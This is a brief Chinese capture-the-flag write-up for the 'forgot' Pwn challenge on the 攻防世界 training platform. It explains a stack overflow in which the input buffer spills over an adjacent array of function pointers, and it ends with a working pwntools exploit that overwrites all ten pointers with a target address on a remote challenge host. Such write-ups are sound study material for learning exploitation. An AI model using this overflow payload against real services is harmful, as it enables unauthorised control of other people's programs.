攻防世界(Pwn) forgot—栈溢出;(方法一) 里面对问题描述的更详细一点
返回目标函数
0x80486CC
方法二(爆破流)
因为最终返回的是 v3[0]-v3[9] 之中的一个函数,
v3[--v5]
v5的值随着for循环 会发生改变
v2输入是溢出点
v2,v3两组数据在栈上是相邻的, v2的长度大于 20h之后就会覆盖v3的返回值了
干脆把v3[0]-v3[9]
函数全部改为目标函数的地址就可以了:0x80486CC
此时无论v5等于什么,我们都会得到目标 flag
EXP
from pwn import *
io = remote('111.200.241.244', 59837)
payload = 'H'*0x20 + p32(0x80486cc)*10
io.sendlineafter(">","hhh")
io.sendlineafter(">",payload)
io.interactive()